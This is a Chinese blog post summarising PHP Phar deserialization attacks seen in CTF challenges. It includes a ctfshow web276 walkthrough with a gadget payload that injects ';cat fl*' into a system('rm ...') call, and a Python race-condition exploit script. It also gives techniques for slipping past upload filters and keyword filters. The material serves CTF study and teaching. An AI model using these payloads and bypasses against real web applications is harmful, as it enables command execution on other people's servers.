PHP Phar反序列化总结

53 篇文章 24 订阅

文章首发于Freebuf
https://www.freebuf.com/articles/web/291992.html

利用phar文件会以序列化的形式存储用户自定义的meta-data这一特性,拓展php反序列化漏洞的攻击面,这篇文章来总结下ctf遇到的phar的利用和绕过方式

Phar文件结构

phar文件是php里类似于JAR的一种打包文件本质上是一种压缩文件,在PHP 5.3 或更高版本中默认开启,一个phar文件一个分为四部分

1.a stub
    可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件
2.a manifest describing the contents
	phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方
3.the file contents
被压缩文件的内容
4.[optional] a signature for verifying Phar integrity (phar file format only)
	签名,放在文件末尾

生成phar文件

php内置了一个Phar类来处理相关操作

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

访问之后会在同目录生成 phar.phar 文件,xxd 命令查看文件结构

image-20211017210214889

meta-data是以序列化的形式存储的

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下

image-20211018194419673

<?php 
    class TestObject {
        public function __destruct() {
            echo 'Destruct called';
        }
    }

    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename); 
?>

image-20211018194410564

析构方法被调用,注意此处 weakup 等方法不会被调用

这样就可以在不调用unserialize()的情况下进行反序列化操作

参考文章:https://paper.seebug.org/680/

Phar协议文件包含

phar协议要求:

  • php大于5.3.0
  • 需要将php.ini的参数phar.readonly设置为off

因为phar文件本质就是以中压缩文件,所以可以使用phar伪协议读取执行

很多网站都采用单一入口模式来作为网站文件加载模式

<?php
//单一入口模式
error_reporting(0); //关闭错误显示
$file=addslashes($_GET['r']); //接收文件名
$action=$file==''?'index':$file; //判断为空或者等于index
include($action.'.php'); //载入相应文件
?>

此处就存在文件包含漏洞,可以利用伪协议读取文件源码,但是只能访问php文件

image-20211017211911419

如果该网站同时存在上传图片的功能,这时就可以利用phar反序列化漏洞

首先写一个 test.php,写入要执行的命令

<?php phpinfo();?>

将 test.php 压缩为 test.zip 注意:压缩时选择仅存储,在文件上传处上传 test.zip 文件

将 test.zip 文件后缀改为 jpg,上传 jpg 文件,在 url 中访问

?r=phar://pic/test.jpg/test

image-20211017220537555

不仅可以使用phar协议,zip协议也是可以的

zip文件包含

和phar用法不同效果一致

include($file.'.jpg');
# \x00的截断在php<5.3.4you'xi

将php文件后缀改为jpg(因为是include .jpg),然后用压缩软件压缩为 zip格式,再将 zip 文件后缀名改为 jpg(绕过限制方便图片上传)

/?r=zip://pic/test4.jpg%23test

pic是图片保存目录

这个例子只是利用了phar伪协议解析文件,并没有利用反序列化

Phar反序列化漏洞利用

既然很多函数可以触发phar反序列化,那么接下来就要实际利用该漏洞

漏洞利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:/phar等特殊字符没有被过滤

以一个demo来说明

ctfshow web276 phar反序列化+条件竞争

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

发现可以通过 file_put_contents 写 phar 文件,然后题目中 file_put_contents 第一个参数可控,那么我们可以使用 phar:// 协议,通过 $content 传入 phar 数据,这样在 PHP 通过 phar:// 协议解析数据时,会将 meta-data 部分进行反序列化

不过题目会删除文件,所以需要在删除文件前执行文件进行以上操作,因此要用到条件竞争,即生成了 phar 文件,在极短时间内文件是存在的,因为执行到 unlink 函数前还有一个 copy 文件操作,磁盘 io 是需要一定时间的。只要我们不断在写入 phar 文件,那么这个文件就可以断断续续访问到

phar构造如下,会在当前目录生成 evil.phar 文件

<?php
class filter 
{
    public $filename = ';cat fl*';
    public $evilfile = true;
    public $admin = true;
}

// 后缀必须为phar
$phar = new Phar("evil.phar");
$phar->startBuffering();
// 设置 stubb
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new filter();
/**
 * 将自定义的 meta-data 存入 manifest
 * 这个函数需要在php.ini中修改 phar.readonly 为 Off
 * 否则的话会抛出 
 * creating archive "***.phar" disabled by the php.ini setting phar.readonly 
 * 异常.
 */
$phar->setMetadata($o);
// 添加需压缩的文件
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

?>

条件竞争,py3脚本

import base64
import requests
import threading

flag = False
url = 'ip'
data = open('./evil.phar', 'rb').read()

pre_resp = requests.get(url)
if pre_resp.status_code != 200:
    print(url + '\n链接好像挂了....')
    exit(1)

def upload():
    requests.post(url+"?fn=evil.phar", data=data)


def read():
    global flag
    r = requests.post(url+"?fn=phar://evil.phar/", data="")
    if "ctfshow{" in r.text and flag is False:
        print(base64.b64encode(r.text.encode()))
        flag = True

while flag is False:
    a = threading.Thread(target=upload)
    b = threading.Thread(target=read)
    a.start()
    b.start()

将phar伪造成其他格式的文件

如果文件上传界面后端代码会检查文件类型的话,就需要将 phar 文件未造成其他格式文件

$_FILES["file"]["type"]=="image/gif"

由于php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

image-20211018194439212

采用这种方法可以绕过很大一部分上传检测

绕过phar关键字检测

在第一个实例中,文件成功上传之后使用 phar 伪协议去读取文件,但是如果后端检测参数不能以 phar 开头的话,就需要绕过

if (preg_match("/^php|^file|^gopher|^http|^https|^ftp|^data|^phar|^smtp|^dict|^zip/i",$filename){
    die();
}

绕过方法

// Bzip / Gzip 当环境限制了phar不能出现在前面的字符里。可以使用compress.bzip2://和compress.zlib://绕过
compress.bzip://phar:///test.phar/test.txt
compress.bzip2://phar:///home/sx/test.phar/test.txt
compress.zlib://phar:///home/sx/test.phar/test.txt
php://filter/resource=phar:///test.phar/test.txt
// 还可以使用伪协议的方法绕过
php://filter/read=convert.base64-encode/resource=phar://phar.phar

绕过__HALT_COMPILER特征检测

if (preg_match("/</?|php|HALT_COMPILER/i",$filename){
    die();
}

因为phar中的a stub字段必须以__HALT_COMPILER();字符串来结尾,否则phar扩展将无法识别这个文件为phar文件,所以这段字符串不能省略,只能绕过

方法一:

首先将 phar 文件使用 gzip 命令进行压缩,可以看到压缩之后的文件中就没有了__HALT_COMPILER(),将 phar.gz 后缀改为 png(png文件可以上传)

image-20211018192756517

文件上传成功后,利用文件包含漏洞包含文件

file_un.php?filename=phar://pic/phar.phar.gz/phar.phar
# file_un.php中包含__destruct并且可以被触发

image-20211018193211717

方法二

将phar的内容写进压缩包注释中,也同样能够反序列化成功,压缩为zip也会绕过该正则

$phar_file = serialize($exp);
    echo $phar_file;
    $zip = new ZipArchive();
    $res = $zip->open('1.zip',ZipArchive::CREATE); 
    $zip->addFromString('crispr.txt', 'file content goes here');
    $zip->setArchiveComment($phar_file);
    $zip->close();

这篇文章在php源码角度给出分析:https://www.anquanke.com/post/id/240007

phar反序列化过程中,对metadata进行解析的时候会进行php_var_unserialize()将Phar中的metadata进行反序列化

参考文章

https://xz.aliyun.com/t/2958

https://xz.aliyun.com/t/2715

https://paper.seebug.org/680/

https://blog.csdn.net/solitudi/article/details/113588692

  • 8
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
PHP序列化是将PHP对象转换为字符串的过程,以便在存储或传输时使用。序列化后的字符串可以通过反序列化操作重新还原为原始的PHP对象。\[1\] 在PHP中,可以使用serialize()函数将对象序列化为字符串,然后使用unserialize()函数将字符串反序列化为对象。这样可以方便地在不同的环境中传递和存储对象数据。 然而,反序列化操作也存在安全风险。恶意用户可以构造特定的序列化字符串,以触发PHP反序列化漏洞,导致代码执行或敏感信息泄露。因此,在进行反序列化操作时,需要谨慎处理输入数据,验证和过滤不可信的序列化字符串。 除了使用serialize()和unserialize()函数,还可以利用一些特殊的方式来触发PHP反序列化漏洞。例如,通过Phar反序列化,可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。当使用phar://伪协议读取phar文件时,会自动反序列化meta-data中存储的信息,从而导致漏洞触发。\[2\]\[3\] 因此,在开发和使用PHP应用程序时,需要注意对序列化和反序列化操作进行安全处理,避免潜在的安全风险。这包括对输入数据进行验证和过滤,限制反序列化操作的权限,以及及时更新和修复可能存在的漏洞。 #### 引用[.reference_title] - *1* *2* *3* [PHP序列化和反序列化](https://blog.csdn.net/weixin_44033675/article/details/116809651)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

OceanSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值